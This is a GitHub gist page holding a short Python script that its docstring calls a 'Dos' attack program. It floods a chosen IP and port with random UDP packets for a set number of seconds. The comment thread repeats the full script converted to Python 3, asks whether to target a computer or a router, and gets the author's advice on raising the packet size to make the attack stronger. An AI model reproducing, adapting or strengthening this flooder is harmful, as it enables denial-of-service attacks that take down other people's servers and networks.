Skip to content

Instantly share code, notes, and snippets.

@hedinasr
Created January 10, 2017 10:24
Show Gist options
  • Save hedinasr/e05f3286b6ab94ec2c5431e64832c13e to your computer and use it in GitHub Desktop.
Save hedinasr/e05f3286b6ab94ec2c5431e64832c13e to your computer and use it in GitHub Desktop.
Python UDP Flooder
"""
UDP Flooder.
This is a 'Dos' attack program to attack servers, you set the IP
and the port and the amount of seconds and it will start flooding to that server.
(inspire from http://hazardedit.com/forum/viewtopic.php?t=73)
Usage : ./flood_udp <ip> <port> <second>
"""
import time
import socket
import random
import sys
def usage():
print "Usage: " + sys.argv[0] + " <ip> <port> <second>"
def flood(victim, vport, duration):
# okay so here I create the server, when i say "SOCK_DGRAM" it means it's a UDP type program
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
# 1024 representes one byte to the server
bytes = random._urandom(1024)
timeout = time.time() + duration
sent = 0
while 1:
if time.time() > timeout:
break
else:
pass
client.sendto(bytes, (victim, vport))
sent = sent + 1
print "Attacking %s sent packages %s at the port %s "%(sent, victim, vport)
def main():
print len(sys.argv)
if len(sys.argv) != 4:
usage()
else:
flood(sys.argv[1], int(sys.argv[2]), int(sys.argv[3]))
if __name__ == '__main__':
main()
Copy link

ghost commented Nov 14, 2018

Awesome. Keep the job.

@Xevion
Copy link

Xevion commented Dec 30, 2019

"""
UDP Flooder.
This is a 'Dos' attack program to attack servers, you set the IP
and the port and the amount of seconds and it will start flooding to that server.
(inspire from http://hazardedit.com/forum/viewtopic.php?t=73)

Usage : ./flood_udp <ip> <port> <second>
"""
import time
import socket
import random
import sys

def usage():
    print("Usage: " + sys.argv[0] + " <ip> <port> <second>")

def flood(victim, vport, duration):
    # okay so here I create the server, when i say "SOCK_DGRAM" it means it's a UDP type program
    client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    # 1024 representes one byte to the server
    bytes = random._urandom(1024)
    timeout =  time.time() + duration
    sent = 0

    while 1:
        if time.time() > timeout:
            break
        else:
            pass
        client.sendto(bytes, (victim, vport))
        sent = sent + 1
        print("Attacking %s sent packages %s at the port %s "%(sent, victim, vport))

def main():
    print(len(sys.argv))
    if len(sys.argv) != 4:
        usage()
    else:
        flood(sys.argv[1], int(sys.argv[2]), int(sys.argv[3]))

if __name__ == '__main__':
    main()

2to3'd

@marounilabuni
Copy link

hi
should the target be a computer or a router?

@Xevion
Copy link

Xevion commented May 24, 2020

hi
should the target be a computer or a router?

If you're asking a question like that, maybe you shouldn't be using a program like this.

@marounilabuni
Copy link

marounilabuni commented May 24, 2020 via email

@idlok
Copy link

idlok commented Sep 7, 2020

Hey, what version of python is needed to run this? i am using python 2.7.15 but it just immediately closes

@hedinasr
Copy link
Author

hedinasr commented Sep 8, 2020

How did you run this script ? It should work with Python 2

@Xevion
Copy link

Xevion commented Sep 8, 2020

The original is Python 2 and the one I provided below is Python 3 (converted). Just look at the syntax and my comment, it should be pretty apparent what 2to3'd means...

@tanmay-xvx
Copy link

how do you increase the size of the requests sent ? The current size isn't even affecting a local server

@hedinasr
Copy link
Author

you can custom the data sent by modifying bytes = random._urandom(1024) L.21.

@eckoultra
Copy link

eckoultra commented Sep 8, 2021

How can I make the flood in the console when it is attacking to stop doing it once the attack is finished?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment